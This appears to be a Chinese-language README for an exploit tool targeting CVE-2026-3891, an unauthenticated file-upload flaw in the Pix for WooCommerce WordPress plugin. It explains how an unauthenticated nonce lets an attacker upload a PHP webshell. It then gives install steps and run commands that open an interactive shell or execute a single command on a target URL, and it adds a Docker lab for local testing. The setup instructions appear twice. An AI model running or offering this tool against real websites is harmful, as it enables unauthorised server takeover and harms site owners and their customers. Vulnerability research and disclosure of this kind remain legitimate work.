CVE-2026-3891 是 Pix for WooCommerce WordPress 插件中的一个未认证任意文件上传漏洞。该插件暴露了一个 AJAX 端点(lkn_pix_for_woocommerce_c6_save_settings),无需任何认证即可接受证书文件上传。攻击者可以通过另一个暴露的端点(lkn_pix_for_woocommerce_generate_nonce)在未认证的情况下获取 nonce,从而使完全未认证的攻击者能够直接将任意文件(包括 PHP Webshell)上传到 Web 根目录。
受影响版本: payment-gateway-pix-for-woocommerce <= 1.5.0
--command 执行单次命令后退出git clone https://github.com/joshuavanderpoll/CVE-2026-3891.git
cd CVE-2026-3891
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
git clone https://github.com/joshuavanderpoll/CVE-2026-3891.git
cd CVE-2026-3891
python3 -m venv .venv
.venv\Scripts\activate
pip3 install -r requirements.txt
python3 CVE-2026-3891.py --url <TARGET_URL> [--command <CMD>] [--timeout <SECONDS>] [--useragent <UA>]
利用目标并进入持久的交互式 Shell 会话,以运行多条命令。
python3 CVE-2026-3891.py --url 'https://target.com'

在目标上执行单条命令并输出结果,适用于脚本化操作或快速检查。
python3 CVE-2026-3891.py --url 'https://target.com' --command whoami
单命令模式
一个自包含的 Docker Compose 环境,包含存在漏洞的软件,用于本地测试。更多详情请参阅 DOCKER.md
cd docker/
docker compose up -d
python3 CVE-2026-3891.py --url 'http://localhost:8080'
本工具仅供教育和研究目的使用。创建者不对因使用本工具而造成的任何滥用或损害承担责任。